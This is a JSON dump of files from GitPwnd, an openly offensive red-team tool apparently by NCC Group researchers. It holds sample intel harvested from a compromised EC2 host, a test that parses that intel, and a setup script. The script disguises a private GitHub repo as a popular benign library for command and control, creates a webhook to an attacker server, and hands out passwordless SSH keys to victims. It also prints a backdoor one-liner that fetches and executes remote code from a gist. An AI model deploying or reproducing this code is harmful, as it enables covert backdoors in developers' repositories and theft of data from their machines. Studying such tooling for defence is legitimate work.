0.1   4304  1464 tty1     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty1\\nroot      2634  0.0  0.1   4304  1500 tty2     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty2\\nroot      2637  0.0  0.1   4304  1452 tty3     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty3\\nroot      2639  0.0  0.1   4304  1440 tty4     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty4\\nroot      2641  0.0  0.1   4304  1412 tty5     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty5\\nroot      2643  0.0  0.1  10868  1704 ?        S    Jul06   0:00 /sbin/udevd -d\\nroot      2644  0.0  0.1   4304  1492 tty6     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty6\\nroot     32021  0.0  0.6 119948  6876 ?        Ss   18:10   0:00 sshd: ec2-user [priv]\\nec2-user 32023  0.0  0.3 119948  3872 ?        S    18:10   0:00 sshd: ec2-user@pts/0\\nec2-user 32024  0.0  0.3 115348  3416 pts/0    Ss   18:10   0:00 -bash\\nroot     32236  0.0  0.4 186192  4528 pts/0    S    18:50   0:00 sudo su joedev\\nroot     32237  0.0  0.3 160284  3076 pts/0    S    18:50   0:00 su joedev\\njoedev   32238  0.0  0.3 115348  3396 pts/0    S    18:50   0:00 bash\\nroot     32262  0.0  0.0      0     0 ?        S    18:50   0:00 [kworker/u30:1]\\n\", \"stderr\": \"\"}, \"node_id\": \"f839ba57-6dcf-4002-b3bf-13166cc33fa8\", \"python_version\": {\"major\": 2, \"releaselevel\": \"final\", \"micro\": 12, \"minor\": 7}, \"env\": {\"AWS_CLOUDWATCH_HOME\": \"/opt/aws/apitools/mon\", \"LANG\": \"en_US.UTF-8\", \"LESS_TERMCAP_se\": \"\\u001b[0m\", \"AWS_AUTO_SCALING_HOME\": \"/opt/aws/apitools/as\", \"SUDO_USER\": \"ec2-user\", \"TERM\": \"xterm-256color\", \"LESS_TERMCAP_md\": \"\\u001b[01;38;5;208m\", \"USER\": \"joedev\", \"JAVA_HOME\": \"/usr/lib/jvm/jre\", \"LC_CTYPE\": \"en_US.UTF-8\", \"EC2_AMITOOL_HOME\": \"/opt/aws/amitools/ec2\", \"AWS_ELB_HOME\": \"/opt/aws/apitools/elb\", \"_\": \"/home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample\", \"LESS_TERMCAP_mb\": \"\\u001b[01;31m\", \"HOSTNAME\": \"ip-172-31-23-37\", \"EC2_HOME\": \"/opt/aws/apitools/ec2\", \"SUDO_GID\": \"500\", \"SHLVL\": \"2\", \"AWS_PATH\": \"/opt/aws\", \"PWD\": \"/home/joedev/code/disruptr\", \"HISTSIZE\": \"1000\", \"LESSOPEN\": \"||/usr/bin/lesspipe.sh %s\", \"LESS_TERMCAP_us\": \"\\u001b[04;38;5;111m\", \"LESS_TERMCAP_ue\": \"\\u001b[0m\", \"MAIL\": \"/var/spool/mail/ec2-user\", \"SHELL\": \"/bin/bash\", \"HOME\": \"/home/joedev\", \"SUDO_UID\": \"500\", \"SUDO_COMMAND\": \"/bin/su joedev\", \"PATH\": \"/sbin:/bin:/usr/sbin:/usr/bin:/opt/aws/bin\", \"LOGNAME\": \"joedev\", \"LESS_TERMCAP_me\": \"\\u001b[0m\", \"LS_COLORS\": \"rs=0:di=38;5;27:ln=38;5;51:mh=44;38;5;15:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=05;48;5;232;38;5;15:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;196;38;5;226:tw=48;5;10;38;5;16:ow=48;5;10;38;5;21:st=48;5;21;38;5;15:ex=38;5;34:*.tar=38;5;9:*.tgz=38;5;9:*.arc=38;5;9:*.arj=38;5;9:*.taz=38;5;9:*.lha=38;5;9:*.lz4=38;5;9:*.lzh=38;5;9:*.lzma=38;5;9:*.tlz=38;5;9:*.txz=38;5;9:*.tzo=38;5;9:*.t7z=38;5;9:*.zip=38;5;9:*.z=38;5;9:*.Z=38;5;9:*.dz=38;5;9:*.gz=38;5;9:*.lrz=38;5;9:*.lz=38;5;9:*.lzo=38;5;9:*.xz=38;5;9:*.bz2=38;5;9:*.bz=38;5;9:*.tbz=38;5;9:*.tbz2=38;5;9:*.tz=38;5;9:*.deb=38;5;9:*.rpm=38;5;9:*.jar=38;5;9:*.war=38;5;9:*.ear=38;5;9:*.sar=38;5;9:*.rar=38;5;9:*.alz=38;5;9:*.ace=38;5;9:*.zoo=38;5;9:*.cpio=38;5;9:*.7z=38;5;9:*.rz=38;5;9:*.cab=38;5;9:*.jpg=38;5;13:*.jpeg=38;5;13:*.gif=38;5;13:*.bmp=38;5;13:*.pbm=38;5;13:*.pgm=38;5;13:*.ppm=38;5;13:*.tga=38;5;13:*.xbm=38;5;13:*.xpm=38;5;13:*.tif=38;5;13:*.tiff=38;5;13:*.png=38;5;13:*.svg=38;5;13:*.svgz=38;5;13:*.mng=38;5;13:*.pcx=38;5;13:*.mov=38;5;13:*.mpg=38;5;13:*.mpeg=38;5;13:*.m2v=38;5;13:*.mkv=38;5;13:*.webm=38;5;13:*.ogm=38;5;13:*.mp4=38;5;13:*.m4v=38;5;13:*.mp4v=38;5;13:*.vob=38;5;13:*.qt=38;5;13:*.nuv=38;5;13:*.wmv=38;5;13:*.asf=38;5;13:*.rm=38;5;13:*.rmvb=38;5;13:*.flc=38;5;13:*.avi=38;5;13:*.fli=38;5;13:*.flv=38;5;13:*.gl=38;5;13:*.dl=38;5;13:*.xcf=38;5;13:*.xwd=38;5;13:*.yuv=38;5;13:*.cgm=38;5;13:*.emf=38;5;13:*.axv=38;5;13:*.anx=38;5;13:*.ogv=38;5;13:*.ogx=38;5;13:*.aac=38;5;45:*.au=38;5;45:*.flac=38;5;45:*.mid=38;5;45:*.midi=38;5;45:*.mka=38;5;45:*.mp3=38;5;45:*.mpc=38;5;45:*.ogg=38;5;45:*.ra=38;5;45:*.wav=38;5;45:*.axa=38;5;45:*.oga=38;5;45:*.spx=38;5;45:*.xspf=38;5;45:\", \"USERNAME\": \"root\"}, \"whoami\": \"joedev\\n\", \"time_ran\": \"2017-07-24 21:52:12.486113\", \"username\": \"ec2-user\"}"
  },
  {
    "path": "server/tests/test_intel_helper.py",
    "content": "import unittest\nfrom unittest import TestCase\nimport json\nimport os\n\nclass TestIntelHelper(TestCase):\n    def get_sample_intel(self):\n        sample_intel_path = os.path.join(os.path.dirname(__file__), \"sample_intel.json\")\n        with open(sample_intel_path, 'r') as f:\n            return json.load(f)\n\n    def test_parse_node_dir(self):\n        sample_intel = self.get_sample_intel()\n        intel_keys = sample_intel.keys()\n\n        for k in ['ps_services', 'mac_address', 'time_ran', 'whoami', 'python_version', 'ifconfig',\n                  'service_configs', 'username', 'env']:\n            assert k in intel_keys\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "setup.py",
    "content": "import os\nimport shutil\nimport subprocess\nimport github\nfrom github import Github, GithubException\nfrom subprocess import Popen, PIPE, STDOUT\nimport argparse\nimport yaml\nimport sys\nimport string\nimport uuid\n\nimport ipdb\n\nLOGO = \"\"\"\n############################################\n   _____ _ _   _____                     _\n  / ____(_) | |  __ \\                   | |\n | |  __ _| |_| |__) |_      ___ __   __| |\n | | |_ | | __|  ___/\\ \\ /\\ / / '_ \\ / _` |\n | |__| | | |_| |     \\ V  V /| | | | (_| |\n  \\_____|_|\\__|_|      \\_/\\_/ |_| |_|\\__,_|\n\n############################################\nby Clint Gibler and Noah Beddome of NCC Group\n\"\"\"\n\nSETUP_DIR = \"data\"  # where we store various setup files, like the initial clone of c2 repo\nREPO_DIR = os.path.abspath(os.path.join(SETUP_DIR, \"repos\"))\nSSH_KEY_DIR = os.path.abspath(os.path.join(SETUP_DIR, \"ssh_keys\"))\n\ndef print_logo():\n    print(LOGO)\n\ndef print_initial_overview():\n    overview = \"\"\"\n############\n# Overview #\n############\nHere's how GitPwnd works... TODO\n...\nSee Black Hat talk slides/whitepaper for details TODO.\n\"\"\"\n\n    requirements = \"\"\"\n################\n# Requirements #\n################\nTODO: make this thorough and complete\n\nYou're going to need the following to run GitPwnd:\n* A GitHub account with the ability to create private repos.\n  * An API access key for that GitHub account\n* A second GitHub account.\n    * SSH keys for this account will be distributed to compromised machines,\n      so minimize the other repos this GitHub account has access to.\n* A network-accessible server, for example hosted on AWS, DigitalOcean, etc.\n* A link to a popular open source repo that logically fits into the ecosystem of your target.\n* TODO...\n\"\"\"\n    print(overview)\n    print(requirements)\n\n\ndef print_intro():\n    print_logo()\n    print_initial_overview()\n\ndef setup(setup_dir):\n    print(\"Running setup...\")\n    print(\"[*] Making directory to store intermediate setup files: %s\" % os.path.abspath(setup_dir))\n    if not os.path.exists(setup_dir):\n        os.makedirs(setup_dir)\n\n    print(\"[*] Making directories to store git repos and generated SSH keys...\")\n    for d in [REPO_DIR, SSH_KEY_DIR]:\n        print(\"- %s\" % d)\n        if not os.path.exists(d):\n            os.makedirs(d)\n\n    # Make sure git is installed\n    git_path = shutil.which(\"git\")\n    if git_path is None:\n        print(\"[!] git not installed. Please install git to use GitPwnd\")\n        exit(1)\n\ndef create_c2_repo(setup_dir, config):\n    msg = \"\"\"\n#########################################\n# Creating command and control git repo #\n#########################################\nWe're going to clone a popular git repo and use it for command and control;\nthat is, we'll push commands to compromised machines in the git repo, which the\nvictim machine will pull, run the commands, commit the results, then push,\nwhich our server will then receive and store for your later viewing.\n\nFirst, choose a popular open source repo in the language that your target uses.\nFor example, if you're targeting a company that predominantly uses Rails, choose\na popular Ruby gem.\n\nThe goal is to choose something that will look innocuous on compromised\nmachines if a developer or sys admin is reviewing installed libraries.\n\"\"\"\n\n    print(msg)\n\n    # TODO: break this into sub methods or sub classes\n\n    ############################################################\n    # Get the name of benign repo we're going to mirror for c2 #\n    ############################################################\n    if not \"benign_repo\" in config:\n        benign_repo = input(\"Enter the git clone URL of a popular repo: \")\n        benign_repo = benign_repo.strip()\n        config[\"benign_repo\"] = benign_repo\n\n    config[\"benign_repo_name\"] = config[\"benign_repo\"].split(\"/\")[-1].replace(\".git\", \"\")\n    config[\"benign_repo_path\"] = os.path.abspath(os.path.join(setup_dir, config[\"benign_repo_name\"]))\n\n    try:\n        print(\"[*] Cloning repo to: %s\" % config[\"benign_repo_path\"])\n\n        if os.path.exists(config[\"benign_repo_path\"]):\n            print(\"[?] Looks like benign repo has already been cloned, skipping\")\n            print(\"  If this is incorrect, please delete: %s\" % config[\"benign_repo_path\"])\n        else:\n            clone_output = subprocess.check_output(\"git clone %s %s\" %\n                                                   (config[\"benign_repo\"], config[\"benign_repo_path\"]), shell=True)\n    except subprocess.CalledProcessError:\n        print(\"[!] Error cloning\")\n        print(clone_output)\n        exit(1)\n\n    print(\"\"\"\nNow we're going to mirror the history of the benign repo you just provided in\ngit repo you control, which will be used for command and control.\n\nIn order for this script to automatically set up the command and control GitHub\nrepo for you, you'll need to provide a GitHub personal access token.\n\nPerform the following steps to create a GitHub personal access token:\n1. Log into GitHub.\n2. Click on your profile icon in the top right and select \"Settings.\"\n3. Click on \"Personal access tokens\" under Developer settings on the left.\n4. Give the token a description and the following permissions:\n   - The top-level checkbox for \"repo\"\n   - The top-level checkbox for \"admin:repo_hook\"\n   - \"gist\"\n   - \"delete_repo\"\n5. Click the \"Generate token\" button.\n\nNOTE: this setup script does not save this access token, so make sure to save a\ncopy somewhere safe if you want to re-run this script later.\n\n\"\"\")\n\n    if not \"main_github_token\" in config:\n        config[\"main_github_token\"] = input(\"Please enter your GitHub personal access token: \")\n\n    g = Github(config[\"main_github_token\"])\n    g_user = g.get_user()\n    config[\"main_github_username\"] = g_user.login\n\n    if not \"github_c2_repo_name\" in config:\n        config[\"github_c2_repo_name\"] = input(\"Enter the name of the c2 repo to create on GitHub (%s): \" % config[\"benign_repo_name\"])\n    # Default to the name of the benign repo\n    if config[\"github_c2_repo_name\"] == \"\":\n        config[\"github_c2_repo_name\"] = config[\"benign_repo_name\"]\n\n\n    should_sync_c2_history = True # are we going to push the benign git history to the newly created c2 git repo?\n    \n    config[\"primary_clone_url\"] = \"https://%s@github.com/%s/%s.git\" % (config[\"main_github_token\"],\n       config[\"main_github_username\"], config[\"github_c2_repo_name\"])\n\n    print(\"[*] Creating private GitHub repo: %s/%s\" % (config[\"main_github_username\"], config[\"github_c2_repo_name\"]) )\n    try:\n        config[\"github_c2_git_url\"] = \"https://github.com/%s/%s.git\" % (config[\"main_github_username\"], config[\"github_c2_repo_name\"])\n        benign_description = g.get_repo(\"/\".join(config[\"benign_repo\"].split(\"/\")[-2:]).replace(\".git\", \"\")).description\n        g_repo = g_user.create_repo(config[\"github_c2_repo_name\"], description=benign_description, private=True)\n        # g_repo.git_url - this will be like: git://github.com/username/repo.git\n        # Can't use ^, need to use https:// git path so we can use the token\n\n    except GithubException as gexc:\n        if gexc.data[\"errors\"][0][\"message\"] == \"name already exists on this account\":\n            print(\"[!] There's already a repo with this name.\")\n            choice = input(\"[?] Leave this repo alone and continue? (y/n): \")\n\n            if choice.lower() == \"y\":\n                should_sync_c2_history = False\n            else:\n                choice = input(\"[?] Delete this repo? (y/n): \")\n                if choice.lower() == \"y\":\n                    try:\n                        g_repo = g.get_repo(\"%s/%s\" % (config[\"main_github_username\"], config[\"github_c2_repo_name\"]))\n                        g_repo.delete()\n                        print(\"[!] Deletion successful! Please re-run the setup script.\")\n                    except GithubException as gexc:\n                        print(\"[!] %s\" % (gexc.data[\"errors\"][0][\"message\"]))\n                        exit(1)\n                else:\n                    print(\"[!] Please delete this repo and re-run the setup script\")\n                    exit(1)\n        else:\n            print(\"[!] Creating repo failed.\")\n            ipdb.set_trace()\n            print(\"  - Can your account create private repos?\")\n            exit(1)\n    except Exception as exc:\n        print(\"[!] Creating repo failed.\")\n        ipdb.set_trace()\n        exit(1)\n\n\n    if should_sync_c2_history:\n        sync_c2_history(config)\n    else:\n        print(\"[*] Skipping sending the benign git repo's history to the newly created repo\")\n\n    return config\n\n# Sync the history of the newly created private GitHub repo used for command and control\n# with the history of the benign repo, to make it seem innocuous on disk.\ndef sync_c2_history(config):\n    print(\"[*] Syncing the benign git repo's history to the newly created repo\")\n    orig_dir = os.path.abspath(os.curdir)\n\n    # cd into cloned git repo to do git munging there\n    os.chdir(config[\"benign_repo_path\"])\n\n    # Push history and tags\n    subprocess.check_output(\"git push --all --repo \" + config[\"primary_clone_url\"], shell=True)\n    subprocess.check_output(\"git push --tags --repo \" + config[\"primary_clone_url\"], shell=True)\n\n    # Make this local git repo point to our new c2 repo on GitHub\n    subprocess.check_output(\"git remote remove origin\", shell=True)\n    subprocess.check_output(\"git remote add origin \" + config[\"primary_clone_url\"], shell=True)\n    subprocess.check_output(\"git pull origin master\", shell=True)\n    subprocess.check_output(\"git branch --set-upstream-to=origin/master master\", shell=True)\n\n    os.chdir(orig_dir)\n\ndef get_secondary_account_access_token(config):\n    if not \"secondary_github_token\" in config:\n        tmp = input(\"[*] Please enter a personal access token for a secondary GitHub account: \")\n        config[\"secondary_github_token\"] = tmp.strip()\n\n    return config\n\ndef generate_ssh_key_for_c2_repo(config):\n    print(\"\"\"\n#########################\n# Creating SSH Key Pair #\n#########################\nThis will be added to the secondary GitHub account and distributed\nto compromised machines.\n\"\"\")\n    passwd = \"\" # Don't use a password for the SSH key\n    email = \"john.doe@example.com\"\n\n    # Provide a default value, don't want to overwhelm people with options\n    if not \"ssh_key_name\" in config:\n        config[\"ssh_key_name\"] = \"gitpwnd\"\n\n    config[\"ssh_key_path\"] = os.path.join(SSH_KEY_DIR, config[\"ssh_key_name\"])\n\n    if os.path.exists(config[\"ssh_key_path\"]):\n        print(\"[!] SSH key already exists, continuing without generating a new one\")\n    else:\n        print(\"[*] Generating new SSH key pair\")\n        subprocess.check_output(\"ssh-keygen -P '\" + passwd + \"' -f \" + config[\"ssh_key_path\"] + \" -C \" + email, shell=True)\n\n    print(\"- %s\" % config[\"ssh_key_path\"])\n    print(\"\")\n\n    return config\n\n\ndef add_ssh_key_to_github_account(github_token, ssh_key_path):\n    pub_key_contents = open(ssh_key_path + \".pub\", 'r').read().strip()\n    pub_key_no_comment = \" \".join(pub_key_contents.split(\" \")[0:2])\n\n    g = Github(github_token)\n    g_user = g.get_user()\n\n    # Check if we've already added this key\n    if not pub_key_no_comment in [key_obj.key for key_obj in g_user.get_keys()]:\n        print(\"[*] Adding generated key to: %s\" % g_user.login)\n        g_user.create_key(\"gitpwnd\", pub_key_contents)\n    else:\n        print(\"[!] Looks like %s already has this public key, not adding it to account\" % g_user.login)\n\n# Add the secondary user to the git c2 repo as a collaborator\ndef add_collaborator(main_github_token, github_c2_repo_name, secondary_github_token):\n    g = Github(main_github_token)\n    g_user = g.get_user()\n    repo = g_user.get_repo(github_c2_repo_name)\n\n    g2 = Github(secondary_github_token)\n    g2_user = g2.get_user()\n\n    repo.add_to_collaborators(g2_user.login)\n\n\ndef create_private_gist(config, main_github_token, filename, content, description):\n    g = Github(main_github_token)\n    g_user = g.get_user()\n    gist = g_user.create_gist(False, {filename: github.InputFileContent(content)}, description)\n\n    # gists have a list of files associated with them, we just want the first one\n    # gist.files = {'filename': GistFile(filename), ...}\n    gist_file = [x for x in gist.files.values()][0]\n    config[\"gist_raw_contents_url\"] = gist_file.raw_url\n\n    # The structure of the url is:\n    # https://gist.githubusercontent.com/<username>/<gist guid>/raw/<file guid>/<filename.txt>\n    #\n    # Since we're only uploading one file and we want to make the URL as concise as possible,\n    # it turns out we can actually trim off everything after /raw/ and it'll still give us what\n    # we want.\n    config[\"gist_raw_contents_url\"] = config[\"gist_raw_contents_url\"].split(\"/raw/\")[0] + \"/raw\"\n\n    print(\"[*] Private gist content at:\")\n    print(\"- %s\" % config[\"gist_raw_contents_url\"])\n\n    return config\n\n# Return the content that will placed in the private gist\ndef get_bootstrap_content(config):\n    bootstrap_file = os.path.abspath(os.path.join(__file__, \"..\", \"gitpwnd\", \"bootstrap.py.template\"))\n\n    params = {\"repo_clone_url\":      config[\"secondary_clone_url\"],\n              \"benign_repo\":         config[\"benign_repo\"],\n              \"github_c2_repo_name\": config[\"github_c2_repo_name\"]}\n\n    with open(bootstrap_file, 'r') as f:\n        templatized_bootstrap_file = string.Template(f.read())\n\n    return templatized_bootstrap_file.safe_substitute(params)\n\n# After all the setup has been done, get the one liner that should be placed in a repo\ndef get_python_one_liner(gist_url):\n    # Note that `exec` is required for multiline statements, eval seems to only do simple expressions\n    # https://stackoverflow.com/questions/30671563/eval-not-working-on-multi-line-string\n    return \"import urllib; exec(urllib.urlopen('%s').read())\" % gist_url\n\ndef print_backdoor_instructions(config):\n    gist_url = config[\"gist_raw_contents_url\"]\n    print(\"\"\"\n######################\n# Backdoor one-liner #\n######################\n\n[*] Insert the following into the target git repo you're backdooring:\n\n# Python\n%s\n\nYou can also do something like:\n  $ curl %s | python\n\n\"\"\" % (get_python_one_liner(gist_url), gist_url))\n\n# Replace agent.py.template with customized info, copy to c2 repo,\n# git add, commit, and push it so that the bootstrap.py gist can install\n# it on compromised machines\ndef copy_agent_to_c2_repo(config):\n    agent_file = os.path.abspath(os.path.join(__file__, \"..\", \"gitpwnd\", \"agent.py.template\"))\n\n    params = {\"repo_clone_url\": config[\"secondary_clone_url\"],\n              \"remote_repo_name\": \"features\",             # we add the c2 repo as a remote\n              \"remote_repo_master_branch\": \"master\"}\n\n    _add_file_to_c2_repo(config, agent_file, params, \"agent.py\")\n\ndef copy_payload_to_c2_repo(config):\n    payload_file = os.path.abspath(os.path.join(__file__, \"..\", \"gitpwnd\", \"payload.py.template\"))\n    params = {}\n    _add_file_to_c2_repo(config, payload_file, params, \"payload.py\")\n\n\ndef _add_file_to_c2_repo(config, template_file_path, params, dest_path_in_c2_repo):\n    with open(template_file_path, 'r') as f:\n        templatized_file = string.Template(f.read())\n\n    dest_file = os.path.join(config[\"benign_repo_path\"], dest_path_in_c2_repo)\n\n    with open(dest_file, \"w\") as f:\n        f.write(templatized_file.safe_substitute(params))\n\n    # Add file to the c2 repo\n    orig_dir = os.path.abspath(os.curdir)\n    # cd into cloned git repo to do git munging there\n    os.chdir(config[\"benign_repo_path\"])\n    \n    if \"nothing to commit\" not in str(subprocess.check_output(\"git status\", shell=True)):\n        # Add agent.py and push\n        subprocess.check_output(\"git add %s\" % dest_path_in_c2_repo, shell=True)\n        subprocess.check_output(\"git commit -m 'Add %s'\" % dest_path_in_c2_repo, shell=True)\n        subprocess.check_output(\"git push --repo %s\" % config[\"primary_clone_url\"], shell=True)\n\n    os.chdir(orig_dir)\n\ndef create_c2_webhook(config):\n    print(\"[*] Creating GitHub webhook for C2 repo that will receive pushes from compromised machines \")\n\n    g = Github(config[\"main_github_token\"])\n    g_user = g.get_user()\n    repo = g_user.get_repo(config[\"github_c2_repo_name\"])\n\n    # this endpoint is defined in server/gitpwnd/controllers.py\n    webhook_endpoint = config[\"attacker_server\"] + \"/api/repo/receive_branch\"\n\n    # We're using a self-signed cert, so we need to turn off TLS verification for now :(\n    # See the following for details: https://developer.github.com/v3/repos/hooks/#create-a-hook\n    hook_secret = str(uuid.uuid4())\n    params = {\"url\": webhook_endpoint, \"content_type\": \"json\", \"secret\": hook_secret, \"insecure_ssl\": \"1\"}\n\n    #  PyGithub's create_hook doc:\n    # http://pygithub.readthedocs.io/en/latest/github_objects/Repository.html?highlight=create_hook\n    try:\n        repo.create_hook(\"web\", params, [\"push\"], True)\n    except:\n        print(\"[!] Web hook already exists\")\n        hook = repo.get_hooks()[0]\n        if \"secret\" not in hook.config.keys():\n            print(\"[!] Adding a secret to the hook...\")\n        else:\n            hook_secret = input(\"Enter webhook secret (Github Repo > Settings > Webhooks > Edit > Inspect 'Secret' element): \")\n        new_hook_config = hook.config\n        new_hook_config[\"secret\"] = hook_secret\n        hook.edit(name=hook.name, config=new_hook_config)\n    finally:\n        return hook_secret\n\n\n# Automatically generate a new password for the gitpwnd server\n# so we don't use a default one\ndef customize_gitpwnd_server_config(config):\n    print(\"[*] Generating a unique password for the gitpwnd server\")\n    server_creds_template_file = os.path.abspath(os.path.join(__file__, \"..\", \"server\", \"server_creds.yml.template\"))\n    output_file = server_creds_template_file.replace(\".template\", \"\")\n\n    with open(server_creds_template_file, 'r') as f:\n        templatized_creds_file = string.Template(f.read())\n\n    params = {\"basic_auth_password\": str(uuid.uuid4()),\n              \"benign_repo_path\": config[\"benign_repo_path\"],\n              \"hook_secret\": config[\"hook_secret\"]}\n    with open(output_file, 'w') as f:\n        f.write(templatized_creds_file.safe_substitute(params))\n\ndef print_accept_c2_invitation_instructions():\n    print(\"\"\"IMPORTANT: Check the email for the secondary user and \"accept\"\nthe invitation to the newly created command and control repo.\n\nWithout doing this, the bootstrapping process executed on compromised machines\nwill fail.\n\"\"\")\n\n# The overall flow of the setup process\ndef main(setup_dir, repo_dir, ssh_key_dir):\n    print_intro()\n    print(\"\"\"\n----------------------------------\n\n######################################\n# Beginning GitPwnd setup process... #\n######################################\n\"\"\")\n\n    # Usage: python3 setup.py <optional path to config.yml>\n    if len(sys.argv) > 1:\n        config_path = sys.argv[1]\n    else:\n        print(\"[*] Using default config path of ./config.yml\")  \n        config_path = \"./config.yml\"\n\n    with open(config_path, 'r') as f:\n        config = yaml.load(f)\n\n\n\n    setup(setup_dir)\n    config = create_c2_repo(repo_dir, config)\n    config = get_secondary_account_access_token(config)\n    config = generate_ssh_key_for_c2_repo(config)\n    add_ssh_key_to_github_account(config[\"secondary_github_token\"], config[\"ssh_key_path\"])\n\n    add_collaborator(config[\"main_github_token\"], config[\"github_c2_repo_name\"], config[\"secondary_github_token\"])\n\n    hook_secret = create_c2_webhook(config)\n    config[\"hook_secret\"] = hook_secret\n\n    customize_gitpwnd_server_config(config)\n\n\n    # the clone URL compromised machines will use\n    config[\"secondary_clone_url\"] = \"https://%s@github.com/%s/%s.git\" % (config[\"secondary_github_token\"],\n                                                          config[\"main_github_username\"],\n                                                          config[\"github_c2_repo_name\"])\n\n\n    gist_content = get_bootstrap_content(config)\n\n    config = create_private_gist(config, config[\"main_github_token\"],\n               \"install.sh\", gist_content, \"Some description\")\n\n    copy_agent_to_c2_repo(config)\n\n    copy_payload_to_c2_repo(config)\n\n    print_backdoor_instructions(config)\n    print_accept_c2_invitation_instructions()\n\nif __name__ == \"__main__\":\n    main(SETUP_DIR, REPO_DIR, SSH_KEY_DIR)\n"
  }
]